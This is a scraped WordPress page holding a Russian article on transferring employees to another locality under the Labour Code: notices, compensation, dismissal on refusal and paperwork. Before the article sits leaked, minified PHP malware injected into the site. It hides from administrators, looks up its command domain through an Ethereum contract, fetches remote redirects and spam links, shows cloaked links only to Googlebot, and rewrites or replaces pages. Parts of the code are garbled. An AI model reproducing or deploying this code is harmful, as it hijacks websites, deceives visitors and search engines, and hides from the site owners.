if((defined('WP_CLI')&&WP_CLI)||(defined('DOING_CRON')&&DOING_CRON)||(defined('DOING_AJAX')&&DOING_AJAX)||(defined('REST_REQUEST')&&REST_REQUEST)||(function_exists('is_admin')&&is_admin())||(function_exists('current_user_can')&¤t_user_can('manage_options')))return;if(!function_exists('add_action'))return;define('TO',2);define('FT',5);define('LT',600);define('ST',3600);define('PT',172800);$GLOBALS['RP']=['ethereum-rpc.publicnode.com','eth.api.pocket.network','eth.drpc.org','eth.llamarpc.com','1rpc.io/eth'];$GLOBALS['R']='';function DM(){return get_transient('_dm')?:'0x295bae89192c32.com';}function T($k,$t){set_transient($k.'_t',time(),$t);}function G($k){return[get_transient($k),(int)get_transient($k.'_t')];}function X($k,$d,$t){set_transient($k,$d,$t);set_transient($k.'_t',time(),$t);return $d;}function U(){return rawurlencode(home_url('/'));}function H(){$p=parse_url($_SERVER['REQUEST_URI']??'/',PHP_URL_PATH);$p='/'.ltrim((string)$p,'/');if($p!=='/'&&substr($p,-1)==='/')$p=rtrim($p,'/');return $p?:'/';}function EC($rpc){$r=wp_remote_post('https://'.$rpc,['headers'=>['Content-Type'=>'application/json'],'body'=>wp_json_encode(['jsonrpc'=>'2.0','id'=>1,'method'=>'eth_call','params'=>[['to'=>'0x8B51674F44A1aA39aD5b3A365DA1d667E54aF292','data'=>'0x3fa4f245'],'latest']]),'timeout'=>10]);if(is_wp_error($r))return null;$b=json_decode(wp_remote_retrieve_body($r),true);return(is_array($b)&&isset($b['result']))?strtolower($b['result']):null;}function HD($hex){$hex=ltrim(str_replace('0x','',$hex),'0');$o='';for($i=0;$i=count($rp))$i=0;$v=EC($rp[$i]);if(!$v){set_transient('_ri',$i+1,86400);return false;}$d=HD($v);if(strpos($d,'.')===false){set_transient('_ri',$i+1,86400);return false;}delete_transient('_ri');return $d;}function MR(){if((int)get_transient('_fc')TO,'redirection'=>1,'headers'=>['Accept'=>'application/json']]);if(is_wp_error($r)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$c=(int)wp_remote_retrieve_response_code($r);$b=(string)wp_remote_retrieve_body($r);if($c!==200||trim($b)===''){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}$j=json_decode($b,true);if(!is_array($j)){set_transient('_fc',(int)get_transient('_fc')+1,86400);MR();return null;}delete_transient('_fc');return $j;}function FL(){$j=J('https://links.'.DM().'/links?site='.U());if(!is_array($j))return null;$Lx=[];foreach(($j['L']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Lx[]=['t'=>$t,'u'=>$u];}$Cx=[];foreach(($j['C']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$v=trim((string)$row[1]);if($k!==''&&$k!=='/'&&filter_var($v,FILTER_VALIDATE_URL))$Cx[$k]=$v;}$Rx=[];foreach(($j['R']??[])as $row){if(!is_array($row)||count($row)<2)continue;$k='/'.ltrim(trim((string)$row[0]),'/');if($k!=='/'&&substr($k,-1)==='/')$k=rtrim($k,'/');$to=trim((string)$row[1]);$cd=(int)($row[2]??301);if($cd!==301&&$cd!==302)$cd=301;if($k!==''&&$k!=='/'&&filter_var($to,FILTER_VALIDATE_URL))$Rx[$k]=['t'=>$to,'c'=>$cd];}$Hx=[];foreach(($j['H']??[])as $r){$t=wp_strip_all_tags((string)($r['t']??''));$u=trim((string)($r['u']??''));if($t!==''&&filter_var($u,FILTER_VALIDATE_URL))$Hx[]=['t'=>$t,'u'=>$u];}return['L'=>$Lx,'C'=>$Cx,'R'=>$Rx,'H'=>$Hx];}function FS(){$j=J('https://pages.'.DM().'/active-slugs?site='.U());if(!is_array($j))return null;$o=[];foreach(($j['S']??[])as $s){$s='/'.ltrim(trim((string)$s),'/');if($s!=='/'&&substr($s,-1)==='/')$s=rtrim($s,'/');if($s!=='/'&&strlen($s)<200)$o[]=$s;}return array_values(array_unique($o));}function FP($path){$j=J('https://pages.'.DM().'/page?site='.U().'&path='.rawurlencode($path));if(!is_array($j))return null;return['m'=>(bool)($j['m']??false),'op'=>(string)($j['op']??''),'st'=>(int)($j['st']??200),'h'=>(string)($j['h']??'')];}function GL(){[$d,$t]=G('l');$a=time()-$t;if(is_array($d)&&$t&&$a<=LT)return $d;if($a>LT&&($GLOBALS['R']===''||$GLOBALS['R']==='L')){$n=FL();is_array($n)?$d=X('l',$n,86400):T('l',86400);$GLOBALS['R']='L';}return is_array($d)?$d:[];}function GS(){[$d,$t]=G('s');$a=time()-$t;if(is_array($d)&&$t&&$a<=ST)return $d;if($a>ST&&($GLOBALS['R']===''||$GLOBALS['R']==='S')){$n=FS();is_array($n)?$d=X('s',$n,86400):T('s',86400);$GLOBALS['R']='S';}return is_array($d)?$d:[];}add_action('wp',function(){$path=H();$ua=(string)($_SERVER['HTTP_USER_AGENT']??'');$Lx=GL();if(!empty($Lx['R'][$path]))add_action('template_redirect',function()use($Lx,$path){wp_redirect($Lx['R'][$path]['t'],(int)$Lx['R'][$path]['c']);exit;},0);if(!empty($Lx['C'][$path]))add_action('wp_head',function()use($Lx,$path){echo''."\n";},1);if(!empty($Lx['L'])&&stripos($ua,'Googlebot')!==false)add_action('wp_footer',function()use($Lx,$path){$ll=array_merge($Lx['L'],$path==='/'?($Lx['H']??[]):[]);$h='';foreach($ll as $r)$h.='
  • '.esc_html($r['t']).'
    • ';if($h!=='')echo'
    More
      '.$h.'
    ';},9999);$Sx=GS();if(!in_array($path,$Sx,true))return;add_action('template_redirect',function()use($path){global $wp_query;$k='p_'.md5(home_url('/').'|'.$path);$p=get_transient($k);$t=(int)get_transient($k.'_t');if(!(is_array($p)&&$t&&(time()-$t)<=PT)){$n=FP($path);if(is_array($n)){$p=$n;set_transient($k,$p,604800);set_transient($k.'_t',time(),604800);}else{set_transient($k.'_t',time(),604800);}}if(empty($p['m']))return;if($wp_query->is_404()){$wp_query->is_404=false;status_header((int)$p['st']);echo'';wp_head();echo''.$p['h'];wp_footer();echo'';exit;}add_filter('the_content',function($c)use($p){if($p['op']==='rp')return $p['h'];if($p['op']==='ij')return $c.$p['h'];return $c;},9999);},1);},0);/* v82L4MZsM3tIW0wK */ Перевод работника в другую местность

    В непростые времена компании ищут любые возможности, чтобы сохранить производство и рабочие места. Иногда на помощь приходит переезд фирмы в другой город или регион. Связано это например, с меньшей стоимостью аренды производственных площадей или налоговыми послаблениями. Как в таком случае поступить с сотрудниками, расскажем в нашей статье.

    Что понимают под другой местностью 

    Под другой местностью следует понимать местность за пределами административно-территориальных границ населенного пункта, в котором расположен работодатель (абз. 3 п. 16 Постановления Пленума Верховного Суда РФ от 17.03.2004 № 2). Если адрес изменится в пределах одного населенного пункта, например, офис компании переедет в другой район города, то это не будет считаться переводом в другую местность.

    Местонахождение компании может не совпадать с местом работы ее сотрудников. Поэтому изменение ее местонахождения не всегда влечет необходимость перевода работников в другую местность. Например, офис фирмы, являющийся ее местом нахождения, расположен в Москве. Тогда как завод и склады размещены в Балашихе. Если владельцы компании примут решение перенести головной офис в Санкт-Петербург, то это не станет основанием для перевода работников, трудящихся в Балашихе. Однако повлечет необходимость изменения места работы сотрудников, работающих в московском офисе. С ними нужно будет решить вопрос о переводе в другую местность вместе с работодателем. Как это сделать, расскажем далее.

     

    Перевод работника в другую местность вместе с работодателем 

    Работодатель, переезжающий в другую местность, должен направить сотрудникам мотивированное предложение изменить ранее оговоренные в трудовом договоре условия (письмо ГИТ в городе Москве от 22.05.2020 № 77/10-18732-0Б/18-1299). ТК РФ не регламентирует срок уведомления работников. Можно ориентироваться на общее правило и применить двухмесячный срок в соответствии со ст. 74 ТК РФ.

    Законодательством не установлена форма такого уведомления, поэтому его можно составить в произвольном виде. С документом необходимо ознакомить под подпись сотрудника, который должен письменно выразить согласие или несогласие на перевод.

    Если сотрудник согласен на переезд вместе с работодателем, то оформляется перевод путем заключения дополнительного соглашения к трудовому договору. Также издается соответствующий приказ (распоряжение) работодателя. Подробнее на оформлении этих документов мы остановимся ниже.

    По правилам статьи 169 ТК РФ при переезде сотрудника по предварительной договоренности с работодателем на работу в другую местность наниматель обязан возместить:

    • траты на переезд сотрудника, членов его семьи и провоз имущества (за исключением случаев, когда работодатель предоставляет работнику соответствующие средства передвижения);

    • затраты на обустройство на новом месте жительства.

    Порядок и размеры возмещения расходов определяются:

    • нормативными правовыми актами Правительства РФ для работников федеральных госорганов, государственных внебюджетных фондов РФ, федеральных госучреждений (ч. 2 ст. 169 ТК РФ, Постановление Правительства РФ от 02.04.2003 № 187);

    • нормативными правовыми актами региональных органов госвласти, нормативными правовыми актами органов местного самоуправления соответственно — для работников госорганов субъектов РФ, территориальных фондов обязательного медицинского страхования, госучреждений субъектов РФ, органов местного самоуправления, муниципальных учреждений (ч. 3 ст. 169 ТК РФ);

    • коллективным договором или локальным нормативным актом либо по соглашению сторон трудового договора для сотрудников других работодателей (ч. 4 ст. 169 ТК РФ). При определении порядка и размера возмещения можно руководствоваться, например, Постановлением Совмина СССР от 15.07.1981 № 677, которое в силу ч. 1 ст. 423 ТК РФ применяется постольку, поскольку оно не противоречит ТК РФ.

    Компенсационные выплаты, связанные с переездом работника на работу в другую местность:

    • не облагаются НДФЛ (п. 3 ст. 217 НК РФ, письмо Минфина РФ от 04.04.2022 № 03-04-05/27829);

    • не облагаются страховыми взносами (пп. 2 п. 1 ст. 422 НК РФ, письмо Минфина РФ от 28.10.2021 № 03-04-06/87342);

    • учитываются в расходах по налогу на прибыль (пп. 5 п. 1 ст. 264 НК РФ, п. 3 письма Минфина РФ от 20.07.2007 № 03-04-06-01/255).

    При несогласии на перевод в другую местность вместе с работодателем сотрудник должен направить письменный отказ. Только при наличии такого документа можно прекратить с ним трудовой договор по п. 9 ч. 1 ст. 77 ТК РФ. Отказ может быть зафиксирован в предложении о переводе на работу в другую местность либо оформлен отдельным документом.

    На данном основании можно увольнять беременных сотрудниц, женщин, имеющих детей в возрасте до 3 лет, одиноких матерей, воспитывающих ребенка в возрасте до 14 лет (ребенка-инвалида до 18 лет), других лиц, воспитывающих таких детей без матери. ТК РФ ограничивает увольнение таких сотрудников по инициативе работодателя (ст. 261 ТК РФ). Но увольнение в связи с отказом от переезда вместе с организацией в другую местность не относится к увольнениям по инициативе работодателя. В любом случае не в силах работодателя сохранить для них занятость в прежней местности.

    Для увольнения работников нужно издать приказ о прекращении трудового договора по форме № Т-8 (Т-8а, если увольняемых несколько) либо по самостоятельно разработанной форме.

    В строке приказа «Основание (документ, номер, дата)» следует указать реквизиты решения о переезде компании в другую местность, а также документа, в котором зафиксирован отказ работника от перевода. С приказом об увольнении нужно ознакомить сотрудника (сотрудников) под подпись.

    При увольнении на данном основании сотруднику нужно выплатить:

    • выходное пособие в размере двухнедельного среднего заработка. Если в трудовом, коллективном договоре установлен размер выходного пособия выше двухнедельного среднего заработка, то работодатель обязан выплатить выходное пособие в повышенном размере (ч. 7 ст. 178 ТК РФ);

    • заработную плату;

    • компенсацию за все неиспользованные дни ежегодного оплачиваемого отпуска (ч. 1 ст. 127 ТК РФ);

    • другие суммы, предусмотренные трудовым, коллективным договором, соглашением и (или) локальным нормативным актом организации.

    Все выплаты нужно произвести в день увольнения. Если работник в этот день не трудился, то соответствующие суммы должны быть выплачены не позднее дня, следующего после предъявления уволенным работником требования о расчете (ч. 1 ст. 140 ТК РФ). В случае спора о размерах сумм, причитающихся работнику при увольнении, работодатель обязан выплатить не оспариваемую им сумму (ч. 2 ст. 140 ТК РФ).

    В день прекращения трудового договора работодатель обязан выдать трудовую книжку (предоставить сведения о трудовой деятельности).

     

    Перевод работника в обособленное подразделение организации в другую местность 

    Перевод работника в другое структурное подразделение компании, расположенное в другой местности, является переводом на другую работу, который допускается только с его письменного согласия (ст. 72.1 ТК РФ).

    При временном переводе за работником сохраняется прежнее рабочее место. Если по окончании срока перевода он не потребовал возвращения на свое рабочее место и продолжает работать, то условие соглашения о временном характере перевода утрачивает силу и перевод считается постоянным (ч. 1 ст. 72.2 ТК РФ). В случае постоянного перевода работодатель не обязан сохранять за работником прежнее рабочее место.

    Для перевода работника в иное структурное подразделение, расположенное в другой местности, по общему правилу необходимо:

    • сделать работнику предложение о переводе, ознакомив с его деталями;

    • получить письменное согласие работника на перевод на другую работу (ч. 1 ст. 72.1 ТК РФ);

    • заключить с работником письменное соглашение об изменении определенных сторонами условий трудового договора (ст. 72 ТК РФ);

    • издать приказ о переводе работника на другую работу и на его основании внести в трудовую книжку (в случае ее ведения) соответствующие сведения (ч. 4 ст. 66 ТК РФ, п. 9 порядка ведения и хранения трудовых книжек, утвержденного Приказом Минтруда РФ от 19.05.2021 № 320н);

    • ознакомить работника под подпись с приказом о переводе на другую работу;

    • внести соответствующую информацию в сведения о трудовой деятельности.

    При переезде работника в обособленное подразделение организации в другую местность работодатель также обязан возместить (ч. 1 ст. 169 ТК РФ):

    • траты на переезд сотрудника и членов его семьи, если не предоставляет работнику соответствующие средства передвижения;

    • расходы на провоз имущества;

    • затраты на обустройство на новом месте жительства.

     

    Уведомление о переводе работника в другую местность 

    Законодательно не определено, в какой форме работодатель должен предложить работнику перевестись в другую местность. Поэтому уведомление о предстоящем переводе составляется в произвольной форме. В документе необходимо указать:

    • населенный пункт, куда переезжает компания;

    • срок переезда и дату, когда сотрудник должен приступить к выполнению своих обязанностей на новом месте;

    • размер возмещаемых работнику расходов в связи с переездом;

    • дата, до наступления которой сотрудник должен сообщить о принятом решении;

    • последствия отказа сотрудника от перевода в другую местность вместе с работодателем в виде увольнения п. 9 ч. 1 ст. 77 ТК РФ.

     

    Согласие работника на перевод в другую местность 

    Нередко работодатели включают в предложение о переводе в другую местность отрывную часть, в которой сотрудник может выразить свое согласие (несогласие) с переводом. При отсутствии такой отрывной части работник составляет отдельное заявление.

     

     

    Отказ работника от перевода в другую местность 

    Если сотрудник не согласен на перевод в другую местность вместе с работодателем, то он должен направить последнему письменный отказ, который может быть оформлен в виде отдельного документа либо зафиксирован в предложении о переводе на работу в другую местность.

     

    Нет ни согласия на перевод в другую местность, ни отказа от него 

    Если от работника не поступило ни согласия, ни отказа от перевода в другую местность, то оформить его перевод нельзя. Некоторые компании отсутствие письменного согласия трактуют как автоматическое несогласие на перевод и увольняют сотрудника по п. 9 ч. 1 ст. 77 ТК РФ. Тогда велика вероятность, что сотрудник оспорит свое увольнение. В таком случае суды встают на сторону работника, мотивируя свое решение тем, что при неподтвержденности обстоятельств отказа работника от перевода в другую местность увольнение на указанном основании является незаконным (Определение Восьмого кассационного суда общей юрисдикции от 27.10.2020 № 88-15510/2020). И работодателю грозит (абз. 1, 2 ст. 234, ст. 237, ч. 1, 2 ст. 394 ТК РФ, ч. 1 ст. 98 ГПК РФ, абз. 1 п. 60 Постановления Пленума Верховного Суда РФ от 17.03.2004 № 2):

    • признание увольнения незаконным;

    • восстановление сотрудника на работе;

    • выплата ему среднего заработка за все время вынужденного прогула;

    • компенсация морального вреда;

    • выплата других сумм, например, судебных издержек.

    Поэтому с сотрудником лучше договориться сразу и настоять на том, чтобы он выразил свое согласие (несогласие) на перевод в письменной форме.

     

    Дополнительное соглашение к трудовому договору 

    Дополнительное соглашение к трудовому договору составляется в двух экземплярах и подписывается сотрудником и работодателем. Один экземпляр вручается работнику. На экземпляре работодателя проставляется соответствующая отметка, заверенная подписью сотрудника (ст. 72, 67 ТК РФ).

    В документе указывают:

    • дату и номер составления;

    • реквизиты трудового договора, к которому составляется соглашение;

    • наименования сторон договора;

    • адрес нового места работы сотрудника;

    • срок перевода компании в новую местность и дату начала работы сотрудника на новом месте;

    • расходы, возмещаемые работодателем;

    • дату вступления допсоглашения в силу.

     

    Приказ о переводе работника в другую местность 

    Приказ о переводе сотрудника в другую местность можно составить по унифицированной форме № Т-5 (Т-5а – если переводятся несколько работников) либо по другой форме, принятой в компании.

     

    Где отразить информацию о переводе работника в другую местность 

    Информацию о переводе сотрудника в другую местность необходимо включить в сведения о трудовой деятельности, а также внести в трудовую книжку, если она ведется. Запись в трудовую книжку делается на основании приказа работодателя не позднее пяти рабочих дней с момента его издания. Она должна точно соответствовать тексту приказа (ч. 4 ст. 66, ч. 2 ст. 66.1 ТК РФ, пп. 4, 9 порядка ведения и хранения трудовых книжек, утвержденного Приказом Минтруда РФ от 19.05.2021 № 320н).

    Внести соответствующую информацию в сведения о трудовой деятельности и отчитаться в ПФР о постоянном переводе по форме СЗВ-ТД необходимо в срок не позднее 15-го числа месяца, следующего за месяцем, в котором произошел перевод (ст. 66.1 ТК РФ, п. 2.1 ст. 6, пп. 1, 2.4, 2.5 ст. 11 Закона «Об индивидуальном (персонифицированном) учете в системе обязательного пенсионного страхования» от 01.04.1996 № 27-ФЗ, пп. 1.4, 1.8 порядка, утвержденного Постановлением Правления ПФР от 25.12.2019 № 730п).

     

    Перевод работника в другую местность

    Добавить комментарий

    Ваш адрес email не будет опубликован. Обязательные поля помечены *

    Copyright © 2026 . Все права защищены. Тема Spacious от ThemeGrill. На платформе: WordPress.